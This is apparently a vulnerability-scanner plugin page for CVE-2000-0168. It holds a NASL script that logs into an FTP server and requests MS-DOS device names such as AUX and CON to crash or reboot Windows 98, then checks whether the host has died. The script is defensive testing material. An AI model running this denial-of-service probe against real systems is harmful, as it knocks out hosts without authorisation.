6.6 Medium
AI Score
Confidence
Low
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.004 Low
EPSS
Percentile
72.8%
It was possible to freeze or reboot Windows by
reading a MS/DOS device through FTP, using a file name like CON\CON, AUX.htm or AUX.
# SPDX-FileCopyrightText: 2001 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
# This script is a copy of http_w98_devname_dos.nasl.
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.10929");
script_version("2023-12-20T05:05:58+0000");
script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2000-0168");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("FTP Windows 98 MS/DOS device names DOS");
script_category(ACT_KILL_HOST);
script_copyright("Copyright (C) 2001 Michel Arboi");
script_family("Denial of Service");
script_dependencies("ftpserver_detect_type_nd_version.nasl", "os_detection.nasl", "logins.nasl");
script_require_ports("Services/ftp", 21);
script_mandatory_keys("Host/runs_windows");
script_xref(name:"URL", value:"https://web.archive.org/web/20080513010322/http://support.microsoft.com/kb/256015");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1043");
script_xref(name:"URL", value:"http://online.securityfocus.com/archive/1/195054");
script_tag(name:"solution", value:"Upgrade your system or use a
FTP server that filters those names out.");
script_tag(name:"summary", value:"It was possible to freeze or reboot Windows by
reading a MS/DOS device through FTP, using a file name like CON\CON, AUX.htm or AUX.");
script_tag(name:"impact", value:"A attacker may use this flaw to make your
system crash continuously, preventing you from working properly.");
script_tag(name:"qod_type", value:"remote_probe");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
pass = kb_creds["pass"];
if (! login) exit(0);
start_denial();
dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";
ext[0] = ".foo";
ext[1] = ".";
ext[2] = ". . .. ... .. .";
ext[3] = "-";
port = ftp_get_port(default:21);
soc = open_sock_tcp(port);
if (! soc) exit(0);
r = ftp_recv_line(socket: soc);
ftp_close(socket: soc);
if (! r)
{
exit(0);
}
for (i = 0; dev[i]; i = i + 1)
{
d = dev[i];
for (j = 0; ext[j]; j = j + 1)
{
e = ext[j];
if (e == "-")
name = string(d, "/", d);
else
name = string(d, e);
soc = open_sock_tcp(port);
if(soc)
{
if (ftp_authenticate(socket:soc, user:login, pass:pass))
{
port2 = ftp_pasv(socket:soc);
soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
req = string("RETR ", name, "\r\n");
send(socket:soc, data:req);
if (soc2) close(soc2);
}
close(soc);
}
}
}
alive = end_denial();
if(!alive)
{
security_message(port: port);
set_kb_item( name:"Host/dead", value:TRUE );
exit(0);
}
r = NULL;
soc = open_sock_tcp(port);
if (soc)
{
r = ftp_recv_line(socket: soc);
ftp_close(socket: soc);
}
if (! r)
{
security_message(port: port);
}